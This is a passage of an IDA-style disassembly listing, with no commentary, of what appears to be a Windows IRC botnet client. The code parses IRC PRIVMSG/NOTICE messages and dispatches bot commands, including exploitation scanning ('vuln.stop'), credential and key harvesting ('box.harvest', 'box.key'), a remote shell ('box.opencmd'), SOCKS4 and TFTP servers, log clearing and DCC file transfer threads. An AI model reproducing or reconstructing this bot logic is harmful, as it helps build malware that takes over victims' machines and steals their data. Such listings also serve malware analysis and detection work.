mov eax, [ebp+28h]
mov dword ptr [eax], 1
loc_40D3DB: ; CODE XREF: seg000:0040D3D0j
push dword ptr [ebp-84h]
push offset dword_436498
loc_40D3E6: ; CODE XREF: seg000:004123B2j
; seg000:0041272Bj ...
call sub_40B1C5
pop ecx
loc_40D3EC: ; CODE XREF: seg000:00412840j
pop ecx
jmp loc_40D1FD
; ---------------------------------------------------------------------------
loc_40D3F2: ; CODE XREF: seg000:0040D396j
mov eax, [ebp+20h]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp-0C4h]
push eax
lea eax, [ebp-2C8h]
push offset dword_436464
push eax
call sub_4154CD
lea eax, [ebp-2C8h]
push eax
call sub_40B151
push dword ptr [ebp-90h]
push offset aPart ; "PART"
call sub_4158F0
add esp, 18h
test eax, eax
jnz loc_40D1FD
lea eax, [ebp-2C8h]
push eax
mov eax, [ebp-94h]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_40D1F2
; ---------------------------------------------------------------------------
loc_40D453: ; CODE XREF: seg000:0040D3B8j
push dword ptr [ebp-90h]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_4158F0
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_40D4A7
push dword ptr [ebp-90h]
push edi
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz short loc_40D4A7
push dword ptr [ebp-90h]
push offset dword_436450
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz loc_412974
cmp ds:dword_42C15C, ebx
jz loc_412974
loc_40D4A7: ; CODE XREF: seg000:0040D46Dj
; seg000:0040D47Fj
push dword ptr [ebp-90h]
push esi
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_40D62D
push dword ptr [ebp-90h]
push edi
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_40D62D
mov eax, [ebp-88h]
inc dword ptr [ebp-84h]
push 4
mov [ebp-8Ch], eax
pop esi
mov [ebp-0ACh], esi
loc_40D4EE: ; CODE XREF: seg000:0040D6E9j
; seg000:0040D77Aj ...
shl esi, 2
mov eax, [ebp+esi-94h]
lea edi, [ebp+esi-94h]
push eax
push offset dword_436448
mov [ebp+10h], eax
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz loc_40D927
push dword ptr [ebp+esi-90h]
push offset aSend_0 ; "SEND"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz loc_40D7E5
cmp [ebp-98h], ebx
jz loc_40D7BB
push dword ptr [ebp+esi-8Ch]
mov edi, offset aS_1 ; "%s"
lea eax, [ebp-6FCh]
push edi
push eax
call sub_4154CD
push dword ptr [ebp+esi-88h]
lea eax, [ebp-710h]
push edi
push eax
call sub_4154CD
push dword ptr [ebp+esi-84h]
call sub_415A3F
mov [ebp-578h], eax
mov eax, [ebp+0Ch]
mov [ebp-718h], eax
lea eax, [ebp-0C4h]
push 7Fh
push eax
lea eax, [ebp-5F8h]
push eax
call sub_416D20
mov eax, [ebp-4]
mov [ebp-570h], eax
mov eax, [ebp-8]
mov [ebp-56Ch], eax
lea eax, [ebp-5F8h]
push eax
lea eax, [ebp-6FCh]
push eax
lea eax, [ebp-2C8h]
push offset dword_436400
push eax
call sub_4154CD
push ebx
lea eax, [ebp-2C8h]
push 12h
push eax
call sub_414F79
add esp, 44h
mov [ebp-574h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-718h]
push ebx
push eax
push 40BA98h
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, [ebp-574h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz loc_40D7AA
loc_40D617: ; CODE XREF: seg000:0040D62Bj
cmp [ebp-568h], ebx
jnz loc_40D7DD
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_40D617
; ---------------------------------------------------------------------------
loc_40D62D: ; CODE XREF: seg000:0040D4B7j
; seg000:0040D4CDj
push dword ptr [ebp-90h]
push edi
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40D646
mov dword ptr [ebp-4], 1
loc_40D646: ; CODE XREF: seg000:0040D63Dj
cmp [ebp-8Ch], ebx
jz loc_40D1FD
push (offset loc_4263DB+1)
push dword ptr [ebp-8Ch]
call sub_415AA0
pop ecx
test eax, eax
pop ecx
jz short loc_40D66D
cmp [ebp-4], ebx
jz short loc_40D679
loc_40D66D: ; CODE XREF: seg000:0040D666j
lea eax, [ebp-0C4h]
mov [ebp-8Ch], eax
loc_40D679: ; CODE XREF: seg000:0040D66Bj
cmp [ebp-88h], ebx
jz loc_40D1FD
inc dword ptr [ebp-88h]
jz short loc_40D6C5
cmp [ebp+18h], ebx
jz short loc_40D6C5
lea eax, [ebp-564h]
push eax
call sub_415CD0
push eax
lea eax, [ebp-564h]
push dword ptr [ebp-88h]
push eax
call sub_416EB0
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
add esi, 4
mov [ebp-0ACh], esi
jmp short loc_40D6CB
; ---------------------------------------------------------------------------
loc_40D6C5: ; CODE XREF: seg000:0040D68Bj
; seg000:0040D690j
mov esi, [ebp-0ACh]
loc_40D6CB: ; CODE XREF: seg000:0040D6C3j
mov edi, [ebp+esi*4-94h]
cmp edi, ebx
jz loc_40D1FD
push edi
push offset dword_4363F4
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz loc_40D4EE
mov ecx, [ebp-8Ch]
cmp byte ptr [ecx], 23h
jz short loc_40D76B
mov eax, ds:dword_46897C
mov eax, ds:off_42C224[eax*4]
cmp [eax], bl
jz short loc_40D76B
push eax
push ecx
push offset dword_4363D8
push dword ptr [ebp+0Ch]
call sub_412CEC
lea eax, [ebp-0C4h]
push eax
lea eax, [ebp-2C8h]
push offset aSHasJustVersio ; "%s has just versioned me."
push eax
call sub_4154CD
lea eax, [ebp-2C8h]
push eax
call sub_40B151
add esp, 20h
cmp [ebp-98h], ebx
jnz loc_40D1FD
push ebx
lea eax, [ebp-2C8h]
push 1
push eax
push offset dword_468884
loc_40D75B: ; CODE XREF: seg000:0041212Dj
push dword ptr [ebp+0Ch]
call sub_412D32
add esp, 14h
jmp loc_40D1FD
; ---------------------------------------------------------------------------
loc_40D76B: ; CODE XREF: seg000:0040D6F8j
; seg000:0040D708j
push edi
push offset dword_4363B4
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz loc_40D4EE
mov eax, [ebp+esi*4-90h]
cmp eax, ebx
jz loc_40D4EE
mov ecx, [ebp-8Ch]
cmp byte ptr [ecx], 23h
jz loc_40D4EE
push eax
push ecx
push offset dword_43639C
jmp loc_40D1F2
; ---------------------------------------------------------------------------
loc_40D7AA: ; CODE XREF: seg000:0040D611j
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_436350
jmp loc_40D913
; ---------------------------------------------------------------------------
loc_40D7BB: ; CODE XREF: seg000:0040D538j
lea eax, [ebp-0C4h]
push eax
lea eax, [ebp-2C8h]
push dword ptr [ebp+esi-8Ch]
push offset dword_4362FC
push eax
call sub_4154CD
add esp, 10h
loc_40D7DD: ; CODE XREF: seg000:0040D61Dj
; seg000:0040D8DBj ...
push 1
pop esi
jmp loc_40EF8E
; ---------------------------------------------------------------------------
loc_40D7E5: ; CODE XREF: seg000:0040D52Cj
push dword ptr [ebp+esi-90h]
push offset aChat ; "CHAT"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz loc_40D93D
cmp [ebp-98h], ebx
jz loc_40D907
push 13h
call sub_4151C1
test eax, eax
pop ecx
jnz loc_40D8F9
push dword ptr [ebp+esi-88h]
lea eax, [ebp-710h]
push offset aS_1 ; "%s"
push eax
call sub_4154CD
push dword ptr [ebp+esi-84h]
call sub_415A3F
mov [ebp-578h], eax
mov eax, [ebp+0Ch]
mov [ebp-718h], eax
lea eax, [ebp-0C4h]
push 7Fh
push eax
lea eax, [ebp-5F8h]
push eax
call sub_416D20
mov eax, [ebp-4]
mov [ebp-570h], eax
mov eax, [ebp-8]
mov [ebp-56Ch], eax
lea eax, [ebp-0C4h]
push eax
lea eax, [ebp-2C8h]
push offset dword_4362C0
push eax
call sub_4154CD
push ebx
lea eax, [ebp-2C8h]
push 13h
push eax
call sub_414F79
add esp, 34h
mov [ebp-574h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-718h]
push ebx
push eax
push offset loc_40B535
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, [ebp-574h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz short loc_40D8EB
loc_40D8D5: ; CODE XREF: seg000:0040D8E9j
cmp [ebp-568h], ebx
jnz loc_40D7DD
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_40D8D5
; ---------------------------------------------------------------------------
loc_40D8EB: ; CODE XREF: seg000:0040D8D3j
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_436278
jmp short loc_40D913
; ---------------------------------------------------------------------------
loc_40D8F9: ; CODE XREF: seg000:0040D816j
lea eax, [ebp-0C4h]
push eax
push offset dword_436234
jmp short loc_40D913
; ---------------------------------------------------------------------------
loc_40D907: ; CODE XREF: seg000:0040D806j
lea eax, [ebp-0C4h]
push eax
push offset dword_4361F0
loc_40D913: ; CODE XREF: seg000:0040D7B6j
; seg000:0040D8F7j ...
lea eax, [ebp-2C8h]
push eax
call sub_4154CD
add esp, 0Ch
jmp loc_40D7DD
; ---------------------------------------------------------------------------
loc_40D927: ; CODE XREF: seg000:0040D511j
mov eax, [ebp+10h]
lea ecx, [eax+1]
mov al, [eax]
cmp al, ds:byte_42C164
mov [edi], ecx
jnz loc_40D1FD
loc_40D93D: ; CODE XREF: seg000:0040D7FAj
mov edi, [edi]
push edi
push offset aNewshit0 ; "newshit0"
mov [ebp+10h], edi
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41297C
push edi
push offset aHi_0 ; "hi"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41297C
cmp [ebp-98h], ebx
jnz short loc_40D98E
push dword ptr [ebp-90h]
push offset dword_436450
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz loc_412974
loc_40D98E: ; CODE XREF: seg000:0040D972j
cmp [ebp+30h], ebx
jnz loc_412974
xor edi, edi
cmp ds:dword_42E764, ebx
jle loc_40DB3A
mov dword ptr [ebp+28h], offset dword_43E788
loc_40D9AC: ; CODE XREF: seg000:0040D9CBj
push dword ptr [ebp+10h]
push dword ptr [ebp+28h]
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz short loc_40D9D2
add dword ptr [ebp+28h], 0B8h
inc edi
cmp edi, ds:dword_42E764
jl short loc_40D9AC
jmp loc_40DB3A
; ---------------------------------------------------------------------------
loc_40D9D2: ; CODE XREF: seg000:0040D9BBj
push offset asc_43656C ; " :"
push dword ptr [ebp+8]
call sub_415AA0
pop ecx
cmp eax, ebx
pop ecx
jz loc_40D1FD
mov cl, ds:byte_42C164
imul edi, 0B8h
mov [eax+2], cl
mov cl, ds:byte_42C164
mov [eax+3], cl
lea ecx, dword_43E7A0[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_416D20
lea eax, [ebp+esi-54h]
add esp, 0Ch
mov dword ptr [ebp+28h], 0Fh
mov [ebp+14h], eax
loc_40DA27: ; CODE XREF: seg000:0040DACFj
push dword ptr [ebp+28h]
lea eax, [ebp-0A4h]
push offset aD_1 ; "$%d-"
push eax
call sub_4154CD
lea eax, [ebp-0A4h]
push eax
push dword ptr [ebp+8]
call sub_415AA0
add esp, 14h
test eax, eax
jz short loc_40DA93
mov eax, [ebp+14h]
cmp [eax], ebx
jz short loc_40DA93
lea eax, dword_43E788[edi]
push eax
call sub_415CD0
add [ebp-0Ch], eax
pop ecx
jz short loc_40DAC5
mov eax, [ebp+14h]
push dword ptr [eax-4]
push dword ptr [ebp-0Ch]
call sub_415AA0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40DAC5
push eax
lea eax, [ebp-0A4h]
push eax
push dword ptr [ebp+8]
call sub_40998E
add esp, 0Ch
jmp short loc_40DAC5
; ---------------------------------------------------------------------------
loc_40DA93: ; CODE XREF: seg000:0040DA4Fj
; seg000:0040DA56j
mov eax, [ebp+14h]
cmp [eax], ebx
jnz short loc_40DAC5
lea eax, [ebp-0A4h]
push 2
push eax
lea eax, [ebp-14h]
push eax
call sub_416D20
lea eax, [ebp-14h]
mov [ebp-12h], bl
push eax
lea eax, [ebp-0A4h]
push eax
push dword ptr [ebp+8]
call sub_40998E
add esp, 18h
loc_40DAC5: ; CODE XREF: seg000:0040DA68j
; seg000:0040DA7Cj ...
dec dword ptr [ebp+28h]
sub dword ptr [ebp+14h], 4
cmp [ebp+28h], ebx
jg loc_40DA27
lea eax, [ebp+esi-54h]
mov dword ptr [ebp+28h], 10h
mov edi, eax
loc_40DAE2: ; CODE XREF: seg000:0040DB2Ej
push dword ptr [ebp+28h]
lea eax, [ebp-0A4h]
push offset aD_0 ; "$%d"
push eax
call sub_4154CD
lea eax, [ebp-0A4h]
push eax
push dword ptr [ebp+8]
call sub_415AA0
add esp, 14h
test eax, eax
jz short loc_40DB25
mov eax, [edi]
cmp eax, ebx
jz short loc_40DB25
push eax
lea eax, [ebp-0A4h]
push eax
push dword ptr [ebp+8]
call sub_40998E
add esp, 0Ch
loc_40DB25: ; CODE XREF: seg000:0040DB0Aj
; seg000:0040DB10j
dec dword ptr [ebp+28h]
sub edi, 4
cmp [ebp+28h], ebx
jg short loc_40DAE2
mov dword ptr [ebp-0C8h], 1
loc_40DB3A: ; CODE XREF: seg000:0040D99Fj
; seg000:0040D9CDj
mov eax, [ebp+10h]
mov al, [eax]
cmp al, ds:byte_42C164
jz short loc_40DB53
cmp [ebp-0C8h], ebx
jz loc_40DD38
loc_40DB53: ; CODE XREF: seg000:0040DB45j
push dword ptr [ebp+18h]
mov edi, [ebp+8]
push offset aMe_0 ; "$me"
push edi
call sub_40998E
lea eax, [ebp-0C4h]
push eax
push offset aUser_2 ; "$user"
push edi
call sub_40998E
push dword ptr [ebp-8Ch]
push offset aChan ; "$chan"
push edi
call sub_40998E
push ebx
push ebx
lea eax, [ebp-0A4h]
push 2
push eax
call sub_414419
push eax
push offset aRndnick ; "$rndnick"
push edi
call sub_40998E
add esp, 40h
push dword ptr [ebp+1Ch]
push offset aServer_2 ; "$server"
push edi
call sub_40998E
mov edi, offset aChr ; "$chr("
push edi
push dword ptr [ebp+8]
call sub_415AA0
add esp, 14h
loc_40DBC5: ; CODE XREF: seg000:0040DCB1j
test eax, eax
jz loc_40DCB6
push edi
push dword ptr [ebp+8]
call sub_415AA0
mov [ebp+18h], eax
add eax, 5
push 4
push eax
lea eax, [ebp-0A4h]
push eax
call sub_416D20
lea eax, [ebp-0A4h]
push offset asc_4361A0 ; ")"
push eax
call sub_416C78
add esp, 1Ch
cmp byte ptr [ebp-0A4h], 30h
jl short loc_40DC11
cmp byte ptr [ebp-0A4h], 39h
jle short loc_40DC27
loc_40DC11: ; CODE XREF: seg000:0040DC06j
push 3
lea eax, [ebp-0A4h]
push offset a63 ; "63"
push eax
call sub_416D20
add esp, 0Ch
loc_40DC27: ; CODE XREF: seg000:0040DC0Fj
lea eax, [ebp-0A4h]
push eax
call sub_415A3F
test eax, eax
pop ecx
jle short loc_40DC4A
lea eax, [ebp-0A4h]
push eax
call sub_415A3F
pop ecx
mov [ebp-14h], al
jmp short loc_40DC5B
; ---------------------------------------------------------------------------
loc_40DC4A: ; CODE XREF: seg000:0040DC36j
call sub_415529
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp-14h], dl
loc_40DC5B: ; CODE XREF: seg000:0040DC48j
lea eax, [ebp-0A4h]
mov [ebp-13h], bl
push eax
call sub_415CD0
mov [ebp+28h], eax
push 0Ch
lea eax, [ebp-0A4h]
push ebx
push eax
call sub_415550
mov eax, [ebp+28h]
add eax, 6
push eax
lea eax, [ebp-0A4h]
push dword ptr [ebp+18h]
push eax
call sub_416D20
lea eax, [ebp-14h]
push eax
lea eax, [ebp-0A4h]
push eax
push dword ptr [ebp+8]
call sub_40998E
push edi
push dword ptr [ebp+8]
call sub_415AA0
add esp, 30h
jmp loc_40DBC5
; ---------------------------------------------------------------------------
loc_40DCB6: ; CODE XREF: seg000:0040DBC7j
mov edi, 1FFh
lea eax, [ebp-0F9Ch]
push edi
push dword ptr [ebp+8]
push eax
call sub_416D20
lea eax, [ebp-0F9Ch]
push edi
push eax
lea eax, [ebp-119Ch]
push eax
call sub_416D20
lea eax, [ebp-119Ch]
push offset asc_4269C8 ; " "
push eax
call sub_416C78
add esp, 20h
mov [ebp-94h], eax
lea edi, [ebp-90h]
mov dword ptr [ebp+18h], 1Fh
loc_40DD06: ; CODE XREF: seg000:0040DD1Bj
push offset asc_4269C8 ; " "
push ebx
call sub_416C78
mov [edi], eax
pop ecx
add edi, 4
dec dword ptr [ebp+18h]
pop ecx
jnz short loc_40DD06
mov ecx, [ebp+esi-94h]
lea eax, [ebp+esi-94h]
cmp ecx, ebx
jz loc_40D1FD
add ecx, 3
mov [eax], ecx
loc_40DD38: ; CODE XREF: seg000:0040DB4Dj
mov edi, [ebp+esi-94h]
push edi
push offset aEnz_rndnick ; "enz.rndnick"
mov [ebp+10h], edi
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_412927
push edi
push offset aEnz_rn ; "enz.rn"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_412927
push edi
push offset aEnz_endsess ; "enz.endsess"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_412905
push edi
push offset aEnz_d ; "enz.d"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_412905
push edi
push offset aEnz_logout ; "enz.logout"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_412863
push edi
push offset aEnz_lo ; "enz.lo"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_412863
push edi
push offset aEnz_version ; "enz.version"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_412845
push edi
push offset aEnz_ver ; "enz.ver"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_412845
push edi
push offset aLockdown_on ; "lockdown.on"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_412730
push edi
push offset aLd_on ; "ld.on"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_412730
push edi
push offset aLockdown_off ; "lockdown.off"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_412730
push edi
push offset aLd_off ; "ld.off"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_412730
push edi
push offset aServer_socks4_ ; "server.socks4.on"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41260E
push edi
push offset aServer_s4_on ; "server.s4.on"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41260E
push edi
push offset aServer_socks_0 ; "server.socks4.off"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40DEA8
push dword ptr [ebp+esi-90h]
push 11h
push offset aServer ; "Server"
push offset dword_4360D0
loc_40DE8C: ; CODE XREF: seg000:0040DECCj
; seg000:0040DEF2j ...
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_415207
add esp, 20h
jmp loc_40D1FD
; ---------------------------------------------------------------------------
loc_40DEA8: ; CODE XREF: seg000:0040DE77j
push edi
push offset aServer_rlogin_ ; "server.rlogin.off"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40DECE
push dword ptr [ebp+esi-90h]
push 6
push offset aServer ; "Server"
push offset dword_4360AC
jmp short loc_40DE8C
; ---------------------------------------------------------------------------
loc_40DECE: ; CODE XREF: seg000:0040DEB7j
push edi
push offset dword_43609C
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40DEF4
push dword ptr [ebp+esi-90h]
push 3
push offset aServer ; "Server"
push offset dword_436090
jmp short loc_40DE8C
; ---------------------------------------------------------------------------
loc_40DEF4: ; CODE XREF: seg000:0040DEDDj
push edi
push offset dword_436088
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40DF1D
push dword ptr [ebp+esi-90h]
push 1Ch
push offset dword_43607C
push offset dword_436070
jmp loc_40DE8C
; ---------------------------------------------------------------------------
loc_40DF1D: ; CODE XREF: seg000:0040DF03j
push edi
push offset aServer_redirec ; "server.redirect.off"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40DF46
push dword ptr [ebp+esi-90h]
push 10h
push offset dword_43604C
push offset dword_43603C
jmp loc_40DE8C
; ---------------------------------------------------------------------------
loc_40DF46: ; CODE XREF: seg000:0040DF2Cj
push edi
push offset dword_436030
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40DF6F
push dword ptr [ebp+esi-90h]
push 0Ah
push offset dword_436024
push offset dword_436018
jmp loc_40DE8C
; ---------------------------------------------------------------------------
loc_40DF6F: ; CODE XREF: seg000:0040DF55j
push edi
push offset dword_436008
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40DF98
push dword ptr [ebp+esi-90h]
push 0Bh
push offset dword_435FFC
push offset dword_435FF0
jmp loc_40DE8C
; ---------------------------------------------------------------------------
loc_40DF98: ; CODE XREF: seg000:0040DF7Ej
push edi
push offset dword_435FE0
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40DFC1
push dword ptr [ebp+esi-90h]
push 0Fh
push offset dword_435FD4
push offset dword_435FC8
jmp loc_40DE8C
; ---------------------------------------------------------------------------
loc_40DFC1: ; CODE XREF: seg000:0040DFA7j
push edi
push offset dword_435FB8
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40DFEA
push dword ptr [ebp+esi-90h]
push 0Eh
push offset dword_435FAC
push offset dword_435FA0
jmp loc_40DE8C
; ---------------------------------------------------------------------------
loc_40DFEA: ; CODE XREF: seg000:0040DFD0j
push edi
push offset aServer_tftp_of ; "server.tftp.off"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40E013
push dword ptr [ebp+esi-90h]
push 4
push offset aServer ; "Server"
push offset dword_435F84
jmp loc_40DE8C
; ---------------------------------------------------------------------------
loc_40E013: ; CODE XREF: seg000:0040DFF9j
push edi
push offset aBox_findfile_o ; "box.findfile.off"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4125F6
push edi
push offset aBox_ff_off ; "box.ff.off"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4125F6
push edi
push offset aBox_procs_off ; "box.procs.off"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4125DE
push edi
push offset aBox_ps_off ; "box.ps.off"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4125DE
push edi
push offset aClone_off ; "clone.off"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40E090
push dword ptr [ebp+esi-90h]
push 17h
push offset aClone ; "Clone"
push offset dword_435F24
jmp loc_40DE8C
; ---------------------------------------------------------------------------
loc_40E090: ; CODE XREF: seg000:0040E076j
push edi
push offset aLockdown_stop ; "lockdown.stop"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40E0B9
push dword ptr [ebp+esi-90h]
push 19h
push offset aSecure_0 ; "Secure"
push offset dword_435EFC
jmp loc_40DE8C
; ---------------------------------------------------------------------------
loc_40E0B9: ; CODE XREF: seg000:0040E09Fj
push edi
push offset aVuln_stop ; "vuln.stop"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40E0E2
push dword ptr [ebp+esi-90h]
push 8
push offset aScan ; "Scan"
push offset aExploitation ; "Exploitation"
jmp loc_40DE8C
; ---------------------------------------------------------------------------
loc_40E0E2: ; CODE XREF: seg000:0040E0C8j
push edi
push offset aVuln_stats ; "vuln.stats"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4125C8
push edi
push offset aVuln_st ; "vuln.st"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4125C8
push edi
push offset aEnz_reh4sh ; "enz.reh4sh"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4125A7
push edi
push offset aEnz_rh4 ; "enz.rh4"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4125A7
push edi
push offset aEnz_endt3rm ; "enz.endt3rm"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_412585
push edi
push offset aEnz_et3 ; "enz.et3"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_412585
push edi
push offset aEnz_t3rm1nate ; "enz.t3rm1nate"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41253D
push edi
push offset aEnz_t3rm1 ; "enz.t3rm1"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41253D
push edi
push offset aEnz_status ; "enz.status"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4124FF
push edi
push offset aEnz_s ; "enz.s"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4124FF
push edi
push offset aEnz_id ; "enz.id"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4124C8
push edi
push offset aEnz_i ; "enz.i"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4124C8
push edi
push offset aBox_rebewt ; "box.rebewt"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40E230
call sub_409DD7
test eax, eax
mov eax, offset dword_435E20
jnz short loc_40E202
mov eax, offset dword_435DE8
loc_40E202: ; CODE XREF: seg000:0040E1FBj
push eax
lea eax, [ebp-2C8h]
push eax
call sub_4154CD
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_412D32
add esp, 1Ch
jmp loc_40D7DD
; ---------------------------------------------------------------------------
loc_40E230: ; CODE XREF: seg000:0040E1EDj
push edi
push offset aThreads_list ; "threads.list"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4123D7
push edi
push offset aThreads_l ; "threads.l"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4123D7
push edi
push offset aEnz_aliases ; "enz.aliases"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4123B7
push edi
push offset aEnz_al ; "enz.al"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4123B7
push edi
push offset aEnz_log ; "enz.log"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4122C7
push edi
push offset aEnz_lg ; "enz.lg"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4122C7
push edi
push offset aUtil_clearlog ; "util.clearlog"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4122AE
push edi
push offset aUtil_clg ; "util.clg"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4122AE
push edi
push offset aBox_netinfo ; "box.netinfo"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_412277
push edi
push offset aBox_ni ; "box.ni"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_412277
push edi
push offset aBox_sysinfo ; "box.sysinfo"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41224C
push edi
push offset aBox_si ; "box.si"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41224C
push edi
push offset aEnz_be010ne ; "enz.be010ne"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_412212
push edi
push offset aEnz_010 ; "enz.010"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_412212
push edi
push offset aBox_procs ; "box.procs"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_412109
push edi
push offset aBox_ps ; "box.ps"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_412109
push edi
push offset aBox_harvest ; "box.harvest"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4120DF
push edi
push offset aBox_key ; "box.key"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_4120DF
push edi
push offset aBox_uptime ; "box.uptime"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41205B
push edi
push offset aBox_up ; "box.up"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41205B
push edi
push offset aBox_driveinfo ; "box.driveinfo"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41203E
push edi
push offset aBox_drv ; "box.drv"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_41203E
push edi
push offset aBox_testdlls ; "box.testdlls"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_412025
push edi
push offset aBox_dll ; "box.dll"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_412025
push edi
push offset aBox_opencmd ; "box.opencmd"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411FDE
push edi
push offset aBox_ocmd ; "box.ocmd"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_411FDE
push edi
push offset aBox_ocmd_off ; "box.ocmd.off"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40E47B
push dword ptr [ebp+esi-90h]
push 7
push offset aRemoteShell ; "Remote shell"
push offset aCmd ; "[CMD]"
jmp loc_40DE8C
; ---------------------------------------------------------------------------
loc_40E47B: ; CODE XREF: seg000:0040E461j
push edi
push offset aEnz_who ; "enz.who"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40E508
